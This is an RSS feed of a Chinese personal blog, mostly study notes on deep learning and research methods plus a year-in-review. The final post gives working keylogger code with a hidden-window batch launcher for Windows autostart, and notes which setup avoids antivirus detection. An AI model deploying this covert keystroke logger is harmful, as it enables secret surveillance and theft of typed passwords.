Hsinyan写字的地方 - Hsinyan
type: channel
link: https://www.hsinyan.cn/index.php/author/1/
description: Hsinyan
items: The Craft of Research读书笔记chap1
items: 如何优雅地管理文献
items: D2L学习笔记03：从零实现一个线性回归
items: D2L学习笔记02：线性回归
items: 解决Typecho评论时显示「网络错误，检查网络问题」
items: D2L学习笔记01：线性代数
items: D2L学习笔记00：Pytorch操作
items: 利用PaddleOCR实现一个粤康码/行程卡识别工具
items: 2021 年，我都做了些什么
items: Windows 设置 Python 脚本开机自启的一些心得

The Craft of Research读书笔记chap1
type: item
date: 2022-07-15T22:58:10+08:00
description: 前言该章节标题：「研究、研究者与读者」，提出了一个比较重要的观点是，写作时应该提前考虑好读者的因素。本章节主要阐述了作为一名研究者在进行写作之前，应该预先设想好阅读者的角色。我们进行写作本质上就是与人进行一次交流，但是这种交流是静态的，非互动性的，所以我们应该提前预设好读者的角色、想好读者期待我做什么，在写作过程中不轻易更改。建立与读者的联系谁会阅读你的文章？专业人员有一定基础的读者对该领域知之甚少的人他们期待我做什么？娱乐他们告诉他们一个事实帮助他们更好地理解帮助他们解决一个具体的问题我可以认为他们已经知道多少？他们对我的话题了解多少？问题是他们已经认识到的吗？是他们已经存在，但尚未意识到的吗？问题会不会不是他们的，而是我的？他们会认真对待这个问题，还是我必须说服他们这很重要？读者会如何回应我主张的解决方案/答案？这会与他们所持观点相矛盾吗？他们会针对我提出的解决方案/答案提出标准论据吗？他们是否希望看到引导我找到问题解决方案的步骤

如何优雅地管理文献
type: item
date: 2022-05-09T07:01:00+08:00
description: B 站视频笔记，原视频链接：https://www.bilibili.com/video/BV1Tr4y1H7hY何为优雅不需要关注公众号、集赞、浏览广告优先开源软件功能完善，运行稳定，可定制程度高（类比 Notion）数据安全性、可靠性、可转移性高支持多平台联动文献来源面对新领域，如何挖掘文献找大牛定位其发表的高被引、重要文献按时间排序，重点关注其独立研究后的研究方向总结、思考其研究方向与发展历程找综述中文：综述、研究进展、元分析英文：review、overview、meta analysis重点关注业内大佬写的综述找经典核心期刊、高引用、导师推荐优秀论文的参考文献（尤其是专著部分）找最新RSS 订阅最新核心期刊：Feedbro 浏览器插件Researcher APPresearchgate中文文献经典渠道：知网、维普、万方（需要付费）国家着学社会科学文献中心（完全免费但文献较少）全国图书馆参考联盟国自然科学基金（https://kd.nsfc.gov.cn/resultlnit）外文文献https://www.scidown.cn/谷歌学术web of scienceProQuest：国外硕博论文文献翻译工具Copytranslator沙拉查词搜狗翻译：限制 10MB，保留格式翻译仅是辅助，希望尽快放弃此类软件，使用人脑翻译。文献管理核心需求标签功能、全文检索功能笔记、摘录、备注、阅读辅助、写作辅助云备份、云同步、多平台自动生成引用格式文献管理软件：Zetero优点开源，免费可安装插件可使用第三方网盘来存储数据支持多平台标注可导出到 PDF缺点无安卓应用中文引用可能会出现 bug，注意检查tipshttps://www.zetero.org/需要注册账号Zotero 使用技巧云同步使用坚果云，设置教程：https://zhuanlan.zhihu.com/p/31453719插件推荐zotfilehttp://zotfile.com可根据题录设定规则为 PDF 重命名，以及转移 PDFjasminum中文文献必备插件(茉莉花插件)https://github.com/l0o0/jasminum利用知网等文库数据，为中文论文添加题录信息为 PDF 格式硕博论文添加目录重点功能推荐文献题录自动识别功能文件整合功能，所有类型文件都可以作为论文附件进行同步：例如思维导图，excel 制作文献矩阵标签功能关联文献总结无论用哪种工具，最重要是解决你的问题工具不重要，重要的是形成文献管理的观念只要用着顺手，就是好工具我的博客即将同步至腾讯云+社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=6zib72l0fn5v

D2L学习笔记03：从零实现一个线性回归
type: item
date: 2022-04-30T15:06:07+08:00
description: 接下来将从零开始实现线性回归整个方法，包括数据流水线、模型、损失函数和小批量随机梯度下降优化器。虽然现代的深度学习框架几乎可以自动化地进行所有这些工作，但从零开始实现可以确保你真正知道自己在做什么。同时，了解更细致的工作原理将方便我们自定义模型、自定义层或自定义损失函数。在这一节中，我们将只使用张量和自动求导。%matplotlib inline import random import torch from d2l import torch as d2l生成数据集为了简单起见，将根据带有噪声的线性模型构造一个人造数据集，我们的任务是使用这个有限样本的数据集来恢复这个模型的参数。我们将使用低维数据，这样可以很容易地将其可视化。在下面的代码中，我们生成一个包含1000个样本的数据集，每个样本包含从标准正态分布中采样的2个特征。我们的合成数据集是一个矩阵$\textbf{X}\in \textbf{R}^{1000 \times 2}$。使用线性模型参数$\textbf{w} = [2, -3.4]^\top$、$b = 4.2$和噪声项$\epsilon$生成数据集及其标签：$$ \textbf{y}= \textbf{X} \textbf{w} + b + \epsilon. $$可以将$\epsilon$视为模型预测和标签时的潜在观测误差，在这里我们认为标准假设成立，即$\epsilon$服从均值为0的正态分布。为了简化问题，将标准差设为0.01，下面的代码生成合成数据集。def synthetic_data(w, b, num_examples): #@save """生成y=Xw+b+噪声""" X = torch.normal(0, 1, (num_examples, len(w))) y = torch.matmul(X, w) + b y += torch.normal(0, 0.01, y.shape) return X, y.reshape((-1, 1))true_w = torch.tensor([2, -3.4]) true_b = 4.2 features, labels = synthetic_data(true_w, true_b, 1000) print('features:', features[0],'\nlabel:', labels[0]) #features: tensor([-0.0575, 0.6582]) #label: tensor([1.8422])画出散点图可以看出两者之间的线性关系d2l.set_figsize() d2l.plt.scatter(features[:, (1)].detach().numpy(), labels.detach().numpy(), 1);读取数据集训练模型时要对数据集进行遍历，每次抽取一小批量样本，并使用它们来更新我们的模型。 由于这个过程是训练机器学习算法的基础，所以有必要定义一个函数， 该函数能打乱数据集中的样本并以小批量方式获取数据。在下面的代码中，定义一个data_iter函数， 该函数接收批量大小、特征矩阵和标签向量作为输入，生成大小为batch_size的小批量。 每个小批量包含一组特征和标签。def data_iter(batch_size, features, labels): num_examples = len(features) indices = list(range(num_examples)) # 这些样本是随机读取的，没有特定的顺序 random.shuffle(indices) for i in range(0, num_examples, batch_size): batch_indices = torch.tensor( indices[i: min(i + batch_size, num_examples)]) yield features[batch_indices], labels[batch_indices]通常，利用GPU并行运算的优势，处理合理大小的“小批量”。 每个样本都可以并行地进行模型计算，且每个样本损失函数的梯度也可以被并行计算。 GPU可以在处理几百个样本时，所花费的时间不比处理一个样本时多太多。直观感受一下小批量运算：读取第一个小批量数据样本并打印。 每个批量的特征维度显示批量大小和输入特征数。 同样的，批量的标签形状与batch_size相等。batch_size = 10 for X, y in data_iter(batch_size, features, labels): print(X, '\n', y) break #tensor([[ 0.9458, -0.0361]…

D2L学习笔记02：线性回归
type: item
date: 2022-04-28T20:26:00+08:00
description: 回归（regression）是能为一个或多个自变量与因变量之间关系建模的一类方法。在自然科学和社会科学领域，回归经常用来表示输入和输出之间的关系。在机器学习领域中的大多数任务通常都与预测（prediction）有关。当我们想预测一个数值时，就会涉及到回归问题。常见的例子包括：预测价格（房屋、股票等）、预测住院时间（针对住院病人等）、预测需求（零售销量等）。线性回归的基本元素线性回归（linear regression）可以追溯到19世纪初，它在回归的各种标准工具中最简单而且最流行。线性回归基于几个简单的假设：首先，假设自变量$x$和因变量$y$之间的关系是线性的，即$y$可以表示为$x$中元素的加权和，这里通常允许包含观测值的一些噪声；其次，我们假设任何噪声都比较正常，如噪声遵循正态分布。为了解释线性回归，举一个实际的例子：我们希望根据房屋的面积（平方英尺）和房龄（年）来估算房屋价格（美元）。为了开发一个能预测房价的模型，我们需要收集一个真实的数据集。这个数据集包括了房屋的销售价格、面积和房龄。在机器学习的术语中，该数据集称为训练数据集（training data set）或训练集（training set）。每行数据（比如一次房屋交易相对应的数据）称为样本（sample），也可以称为数据点（data point）或数据样本（data instance）。我们把试图预测的目标（比如预测房屋价格）称为标签（label）或目标（target）。预测所依据的自变量（面积和房龄）称为特征（feature）或协变量（covariate）。通常，我们使用$n$来表示数据集中的样本数，对索引为$i$的样本，其输入表示为$\textbf{x}^{(i)} = [x_1^{(i)}, x_2^{(i)}]^\top$，其对应的标签是$y^{(i)}$。线性模型线性假设是指目标（房屋价格）可以表示为特征（面积和房龄）的加权和，如下面的式子：$$ \textbf{price} = w_{\textbf{area}} \cdot \textbf{area} + w_{\textbf{age}} \cdot \textbf{age} + b. $$其中中的$w_{area}$和$w_{age}$称为权重（weight），权重决定了每个特征对我们预测值的影响，$b$称为偏置（bias）、偏移量（offset）或截距（intercept）。偏置是指当所有特征都取值为0时，预测值应该为多少。即使现实中不会有任何房子的面积是0或房龄正好是0年，我们仍然需要偏置项。如果没有偏置项，我们模型的表达能力将受到限制。严格来说，是输入特征的一个仿射变换（affine transformation）。仿射变换的特点是通过加权和对特征进行线性变换（linear transformation），并通过偏置项来进行平移（translation）。给定一个数据集，我们的目标是寻找模型的权重$\textbf{w}$和偏置$b$，使得根据模型做出的预测大体符合数据里的真实价格。输出的预测值由输入特征通过线性模型的仿射变换决定，仿射变换由所选权重和偏置确定。而在机器学习领域，我们通常使用的是高维数据集，建模时采用线性代数表示法会比较方便。当我们的输入包含$d$个特征时，我们将预测结果$\hat{y}$（通常使用“尖角”符号表示$y$的估计值）表示为：$$ \hat{y} = w_1 x_1 + ... + w_d x_d + b. $$将所有特征放到向量$\textbf{x} \in \mathbb{R}^d$中，并将所有权重放到向量$\textbf{w} \in \mathbb{R}^d$中，我们可以用点积形式来简洁地表达模型：$$ \hat{y} = \textbf{w}^\top \textbf{x} + b. $$向量$\textbf{x}$对应于单个数据样本的特征。用符号表示的矩阵$\textbf{X} \in \mathbb{R}^{n \times d}$可以很方便地引用我们整个数据集的$n$个样本。其中，$\textbf{X}$的每一行是一个样本，每一列是一种特征。对于特征集合$\textbf{X}$，预测值$\hat{\textbf{y}} \in \mathbb{R}^n$可以通过矩阵-向量乘法表示为：${\hat{\textbf{y}}} = \textbf{X} \textbf{w} + b$这个过程中的求和将使用广播机制，给定训练数据特征$\textbf{X}$和对应的已知标签$\textbf{y}$，线性回归的目标是找到一组权重向量$\textbf{w}$和偏置$b$：当给定从$\textbf{X}$的同分布中取样的新样本特征时，这组权重向量和偏置能够使得新…

解决Typecho评论时显示「网络错误，检查网络问题」
type: item
date: 2022-04-25T19:31:55+08:00
description: 问题截图如下解决多次定位问题后发现是手机端User Agent字段过长了，解决方法也很简单，将typecho数据库中评论的数据表typecho_comments表的agent字段长度改为1000即可。再测试，手机就可以正常评论了。

D2L学习笔记01：线性代数
type: item
date: 2022-04-24T21:51:00+08:00
description: 这里略去了课程中部分线性代数基础笔记，只记录了自己理解得不够深刻的部分张量算法的基本性质标量、向量、矩阵和任意数量轴的张量（本小节中的“张量”指代数对象）有一些实用的属性。例如，你可能已经从按元素操作的定义中注意到，任何按元素的一元运算都不会改变其操作数的形状。同样，给定具有相同形状的任意两个张量，任何按元素二元运算的结果都将是相同形状的张量。例如，将两个相同形状的矩阵相加，会在这两个矩阵上执行元素加法。A = torch.arange(20, dtype=torch.float32).reshape(5, 4) B = A.clone() # 通过分配新内存，将A的一个副本分配给B A, A + B #(tensor([[ 0., 1., 2., 3.], # [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [12., 13., 14., 15.], # [16., 17., 18., 19.]]), # tensor([[ 0., 2., 4., 6.], # [ 8., 10., 12., 14.], # [16., 18., 20., 22.], # [24., 26., 28., 30.], # [32., 34., 36., 38.]]))具体而言，两个矩阵的按元素乘法称为Hadamard积（Hadamard product）（数学符号$\odot$）。对于矩阵$\textbf{B} \in \textbf{R}^{m \times n}$，其中第$i$行和第$j$列的元素是$b_{ij}$。矩阵$\textbf{A}$和$\textbf{B}$的Hadamard积为：$$ \textbf{A} \odot \textbf{B} = \begin{bmatrix} a_{11} b_{11} & a_{12} b_{12} & \dots & a_{1n} b_{1n} \\ a_{21} b_{21} & a_{22} b_{22} & \dots & a_{2n} b_{2n} \\ \vdots & \vdots & \ddots & \vdots \\ a_{m1} b_{m1} & a_{m2} b_{m2} & \dots & a_{mn} b_{mn} \end{bmatrix}. $$A * B # tensor([[ 0., 1., 4., 9.], # [ 16., 25., 36., 49.], # [ 64., 81., 100., 121.], # [144., 169., 196., 225.], # [256., 289., 324., 361.]])将张量乘以或加上一个标量不会改变张量的形状，其中张量的每个元素都将与标量相加或相乘。a = 2 X = torch.arange(24).reshape(2, 3, 4) a + X, (a * X).shape #(tensor([[[ 2, 3, 4, 5], # [ 6, 7, 8, 9], # [10, 11, 12, 13]], # # [[14, 15, 16, 17], # [18, 19, 20, 21], # [22, 23, 24, 25]]]), # torch.Size([2, 3, 4]))降维我们可以对任意张量进行的一个有用的操作是计算其元素的和。在数学表示法中，我们使用$\sum$符号表示求和。为了表示长度为$d$的向量中元素的总和，可以记为$\sum_{i=1}^dx_i$。在代码中，我们可以调用计算求和的函数：x = torch.arange(4, dtype=torch.float32) x, x.sum() # (tensor([0., 1., 2., 3.]), tensor(6.))我们可以表示任意形状张量的元素和。例如，矩阵$\textbf{A}$中元素的和可以记为$\sum_{i=1}^{m} \sum_{j=1}^{n} a_{ij}$。A.shape, A.sum() # (torch.Size([5, 4]), tensor(190.))默认情况下，调用求和函数会沿所有的轴降低张量的维度，使它变为一个标量。我们还可以指定张量沿哪一个轴来通过求和降低维度。以矩阵为例，为了通过求和所有行的元素来降维（轴0），我们可以在调用函数时指定axis=0。由于输入矩阵沿0轴降维以生成输出向量，因此输入轴0的维数在输出形状中消失。A # tensor([[ 0., 1., 2., 3.], # [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [12., 13., 14., 15.], # [16., 17., 18., 19…

D2L学习笔记00：Pytorch操作
type: item
date: 2022-04-24T21:50:30+08:00
description: 导入包import torch虽然被称为Pytorch，但是代码中使用torch张量张量表示由一个数值组成的数组，这个数组可能有多个维度。具有一个轴的张量对应数学上的向量（vector）；具有两个轴的张量对应数学上的矩阵（matrix）；具有两个轴以上的张量没有特殊的数学名称。可以使用 arange 创建一个行向量 x。这个行向量包含以0开始的前12个整数，它们默认创建为整数。也可指定创建类型为浮点数。张量中的每个值都称为张量的 元素（element）。例如，张量 x 中有 12 个元素。除非额外指定，新的张量将存储在内存中，并采用基于CPU的计算。x = torch.arange(12) x # tensor([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]) # 可以通过张量的shape属性来访问张量（沿每个轴的长度）的形状 x.shape # torch.Size([12]) x.numel() # 12要想改变一个张量的形状而不改变元素数量和元素值，可以调用reshape函数。我们不需要通过手动指定每个维度来改变形状。 也就是说，如果我们的目标形状是（高度,宽度）， 那么在知道宽度后，高度会被自动计算得出，不必我们自己做除法。 在上面的例子中，为了获得一个3行的矩阵，我们手动指定了它有3行和4列。 幸运的是，我们可以通过-1来调用此自动计算出维度的功能。 即我们可以用x.reshape(-1,4)或x.reshape(3,-1)来取代x.reshape(3,4)。X = x.reshape(3, 4) X # tensor([[ 0, 1, 2, 3], # [ 4, 5, 6, 7], # [ 8, 9, 10, 11]]) X.reshape(2,-1) # tensor([[ 0, 1, 2, 3, 4, 5], # [ 6, 7, 8, 9, 10, 11]])有时，我们希望使用全0、全1、其他常量，或者从特定分布中随机采样的数字来初始化矩阵。# 创建一个形状为（2,3,4）的张量，其中所有元素都设置为0 torch.zeros((2, 3, 4)) # tensor([[[0., 0., 0., 0.], # [0., 0., 0., 0.], # [0., 0., 0., 0.]], # # [[0., 0., 0., 0.], # [0., 0., 0., 0.], # [0., 0., 0., 0.]]]) # 同理，所有元素设置为1 torch.ones((2, 3, 4)) # tensor([[[1., 1., 1., 1.], # [1., 1., 1., 1.], # [1., 1., 1., 1.]], # # [[1., 1., 1., 1.], # [1., 1., 1., 1.], # [1., 1., 1., 1.]]]) # 创建一个形状为（3,4）的张量。 其中的每个元素都从均值为0、标准差为1的标准高斯分布（正态分布）中随机采样。 torch.randn(3, 4) # tensor([[ 1.1704, -0.4649, -1.1481, -2.0655], # [-0.1964, 0.3888, 0.2516, -0.5367], # [-0.3829, -0.0578, 0.8739, -1.4293]])还可以用Python的嵌套数组来为所需张量中每个元素赋予确定值torch.tensor([[2, 1, 4, 3], [1, 2, 3, 4], [4, 3, 2, 1]]) # tensor([[2, 1, 4, 3], # [1, 2, 3, 4], # [4, 3, 2, 1]])运算符x = torch.tensor([1.0, 2, 4, 8]) y = torch.tensor([2, 2, 2, 2]) x + y, x - y, x * y, x / y, x ** y # **运算符是求幂运算 # (tensor([ 3., 4., 6., 10.]), # tensor([-1., 0., 2., 6.]), # tensor([ 2., 4., 8., 16.]), # tensor([0.5000, 1.0000, 2.0000, 4.0000]), # tensor([ 1., 4., 16., 64.])) torch.exp(x) # tensor([2.7183e+00, 7.3891e+00, 5.4598e+01, 2.9810e+03])也可以把多个张量连结（concatenate）在一起，把它们端对端地叠起来形成一个更大的张量。只需要提供张量列表，并给出沿哪个轴连结。下面的例子分别演示了当沿行（轴-0…

利用PaddleOCR实现一个粤康码/行程卡识别工具
type: item
date: 2022-04-23T02:18:00+08:00
description: 基本需求有若干粤康码和行程卡的截图，要自动识别是否为当天提交的，粤康码是否绿码，行程卡是否带星实现思路整体的实现思路是：使用PaddleOCR的离线模型实现OCR识别功能，利用pywebio搭建一个简易的web服务，最后使用pyinstaller打包为windows可执行文件。PaddleOCR的离线模型使用的是RapidOCR的实现：https://github.com/RapidAI/RapidOCR，在一开始我想用Paddle官方的Paddlehub工具在服务器上部署一个PaddleOCR工具，但是发现批量识别的时候对服务器内存开销太大了。首先将RapidOCR项目下python/onnxruntime_infer目录下载到本地下载相应模型和用于显示的字体文件百度网盘 提取码：30jv | Google Drive下载之后模型和相应字体文件放在fonts和models下，最终目录结构如下：models |-- ch_PP-OCRv2_det_infer.onnx |-- ch_ppocr_mobile_v2.0_cls_infer.onnx |-- ch_ppocr_mobile_v2.0_det_infer.onnx |-- ch_ppocr_server_v2.0_det_infer.onnx |-- ch_ppocr_server_v2.0_rec_infer.onnx |-- en_number_mobile_v2.0_rec_infer.onnx |-- korean_mobile_v2.0_rec_infer.onnx `-- japan_rec_crnn.onnx fonts |-- msyh.ttc `-- korean.ttf随后编写PyWebIO的脚本from pywebio.input import input, FLOAT, file_upload from pywebio.output import put_text, put_image, put_row, put_scope, put_info, put_processbar,set_processbar from pywebio import start_server from rapid_ocr_api import TextSystem, visualize from PIL import Image from io import BytesIO import time from datetime import date def ocr(image_path): det_model_path = 'models/ch_ppocr_mobile_v2.0_det_infer.onnx' cls_model_path = 'models/ch_ppocr_mobile_v2.0_cls_infer.onnx' # 中英文识别 rec_model_path = 'models/ch_ppocr_mobile_v2.0_rec_infer.onnx' keys_path = 'rec_dict/ppocr_keys_v1.txt' text_sys = TextSystem(det_model_path, rec_model_path, use_angle_cls=True, cls_model_path=cls_model_path, keys_path=keys_path) dt_boxes, rec_res = text_sys(image_path) return rec_res def check(rec_res,img): """ 检查识别到的内容 """ # 所有词语形成一个词典 word_list = [] for i in rec_res: word_list.append(i[0]) # 拼接为一串字符串 words = ''.join(word_list) # 保存文件名，系统导出文件名即为用户名 filename = img['filename'] #判断图片是粤康码还是行程卡 if '粤康码' in words: flag = 'yuekangma' else: flag = 'xingchengka' # 粤康码监测日期与绿码 if flag == 'yuekangma': # 监测粤康码日期 # 粤康码日期是04-20的格式 today = date.today().strftime("%m-%d") # today = '04-21' is_today = False is_green = False if today in words: is_today = True if '绿码' in words: is_…

2021 年，我都做了些什么
type: item
date: 2022-01-22T22:48:00+08:00
description: 2021 年，我都做了些什么一、前言每当我静下心来仔细回想自己的 2021 年，一切好像过得特别快，又好像过得特别慢；好像做了很多事情，又好像什么都没做；好像自己成长了很多，又好像一切都还在原地踏步。2021 年依旧是被新冠疫情改变的一年，但是随着我们的思维和生活被它深刻的介入，它构成了巴迪欧等人所宣称的「事件」——偶然的断裂涌现，并且持续地延宕到现在，成为我们生活的一个背景。我想了很久要用一种怎样的方式来复盘我的 2021 年，才会让读起来不至于像流水账，最终决定还是以时间线为线索，串联一下我对 2021 年的回忆。这篇自己 2021 年的年度总结文章，从 1 月初回到家后开始动笔，今天终于跟自己的拖延症做了最后的斗争，写完了这篇总结。二、2021 年开发的项目2021 上半年基本上每天都在 coding，这是一整年我最享受的一段时光。作为一名开发者，你编写的每一行代码就像承载你思想和智慧的 DNA 片段，我最大的成就感来自于自己的开发的东西能够得到了用户的喜爱，能够潜移默化地改变一些人的工作和生活。技术最好的使用场景就是能够用它来替代人类，去完成那些枯燥乏味的工作。校勤工俭学工资申报系统这是从校学生处承接下来的一个项目，搭建这个申报系统的目的，是对我校勤工俭学工资申报流程进行信息化改造，这是今年花费时间最多，也是带给我收获最多的一个项目。在分析了系统的主要需求后，决定使用 Python 的 Django 框架进行开发，Django 自带大量 Web 开发常用工具和框架，适合快速开发此类应用，同时它自带的数据库 ORM 组件和管理系统 admin，对开发此类管理系统来说，可以省去不少的代码量，开发中可以专注于主要业务逻辑的书写。另外，系统的前端页面我采用的是 Tailwind，Tailwind 是我 2021 年新接触的一个 CSS 框架，使用 Tailwind 来创建原型和实现定制设计是非常快的，比大多数其他 CSS 框架快得多，而且具有深度的可定制性。系统上线之后，学生可以在系统上申报勤工工资，学院/二级部门管理员可以在后台对这些工资申请进行管理、审批和导出当月报表，校级/一级管理员可以对勤工信息进行归档整理，统筹工资发放。21 年 3 月份在全校 15 个二级学院中试运行，4 月份开始在全校范围内推广使用后，稳定运行至今，截至今天系统拥有用户 1000 余人。自投入应用以来，解决了以往工作存在的管理散、效率低等问题，极大地提高了助学管理工作的效率和质量，达到了预期的效果，得到了学校领导的表扬，已成为学校日常运作中不可或缺的一部分。还记得在大一的时候，我给自己定了个目标：就是开发一款全校人都使用的小程序，当时想起来觉得自己的能力还是差的挺远的。现在想起来，自己竟然在大三完成了自己当初给自己定下的目标，算是我大学里值得骄傲的一件事情，很感谢学生处的老师们能够信任我给我这次机会。在今年年底，在这个项目的基础上组队参加了 2021 年高校易班技术创新大会，获得了「自主应用研发」类的省级一等奖，国家二等奖，也算是意外之喜了。会通楼空课室查询系统这个系统源自于自己的一次临时起意，这次心血来潮也让我收获了大家的认可。5 月开始，我所在的校区开始大范围整修，整个校区只剩下一栋教学楼在课室没课的时候可以开放给同学们自习，但是在实际运行中会发现有一个很大的弊端，同学们不知道课室在哪个时间段课室是空着的，课室既没有课，也没有被借出。举个我自己亲身经历的例子，在 5 月的某一天晚上，我在会通楼想找一个空课室，来写完我的课程论文，连续三次刚找到空课室，刚收拾好没多久就有借了课室的同学来把我赶走，这的确让人火大。于是我论文也不写了，我就在想想我能做些什么。问题主要出现在信息差上，大部分同学们不知道可以通过教务平台查询空课室，即便知道的也会因为繁琐的步骤而望而却步。即便如此，教务系统上的课室信息并未包含系统借出的，而这部分借出课室的信息，需要通过另一个系统拥有特定权限的账号才可以查询，两者数据整合到一起，才可以得到最为准确的空课室信息。但是这部分工作量实在太大了，为何不能由我来做一个资源的整合呢，说干就干。花半个小时的时间写好了空课室信息自动更新脚本，再用 Django 快速搭建了一个简易的 Web 查询平台 demo，由于前端 UI 框架套用的勤工系统，所以开发起来特别快，前后花的时间加起来不超过两个小时。忙完已经是凌晨 1 点，回宿舍的路上我发了一条朋友圈将这个系统介绍给大家用，没想到第二天这个系统居然掀起了一点小波澜。带系统二维码的海报被传到了校内各个群，还得到了权小益的转发，由于在系统上留了微信号，微信几乎被加爆了。其实系统本身并没有什么技术含量，我只是将我手上可以获得到的资源进行了整合，写了自动化脚本，方便自己也方便同学寻找自习室。摸着良…

Windows 设置 Python 脚本开机自启的一些心得
type: item
date: 2022-01-09T17:20:00+08:00
description: 前言最近遇到一个需求，需要监测键盘输入，将其输出到指定的文件中保存，代码本身不复杂，但是配置脚本在 Windows 环境中自启的时候遇到了一些麻烦。脚本代码from pynput.keyboard import Listener, Key import logging from datetime import date directory = f"D:/key" // 日志文件保存路径 today = str(date.today()) logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s") def on_press(key): logging.info(key) def on_release(key): pass with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()解决思路pyinstaller+nssm使用 pyinstaller 将 Python 程序打包为 exe 文件，并且使用 nssm 配置为系统服务，nssm 是一个服务封装程序，它可以将普通 exe 程序封装成服务，使之像 windows 服务一样运行。同类型的工具还有微软自己的 srvany，不过 nssm 更加简单易用。相关配置可以参考：Windows 使用 NSSM 将任意 exe 封装为服务 - 终点站此思路在我自己的电脑上测试正常，但是在其他人电脑上 exe 程序会被 windows 防火墙误杀，查了很多资料才得知是 python 代码中使用了 OS 库，涉及了敏感操作会被杀毒软件误杀，所以要么不用 python 自带的 os 库，要么使用别的方法进行配置。pythonw+设置开机自启 bat使用 python 命令运行 py 文件，会保留 cmd 窗口，当窗口误关闭时，程序就会中断，这不是我们想要的。查询相关资料得知有 pythonw 这个东西，pythonw 是无窗口的 Python 可执行程序，意思是在运行程序的时候，没有窗口，代码在后台执行。既然如此，就可以写这样的 bat 脚本@echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit :begin start /b cmd /k "pythonw D:\keylogger.py"最后一行是使用 pythonw 执行你的 python 脚本，将这个 bat 脚本设置为开机自启即可。具体设置步骤如下：win+r 输入 shell:startup将写好的 bat 脚本拖入，便会开机自启动总结总的来说，要设置 Python 脚本开机后台自启，持续运行，将 python 程序打包成可执行文件(exe)文件，再使用 nssm 配置为系统服务，如果使用到了 os 库，则会有被杀软误杀的可能，建议使用下面的方法pythonw+开机自启 bat，这种配置起来比较麻烦，需要在使用的机上安装 Python 环境，才可以正常使用，不过不会报毒。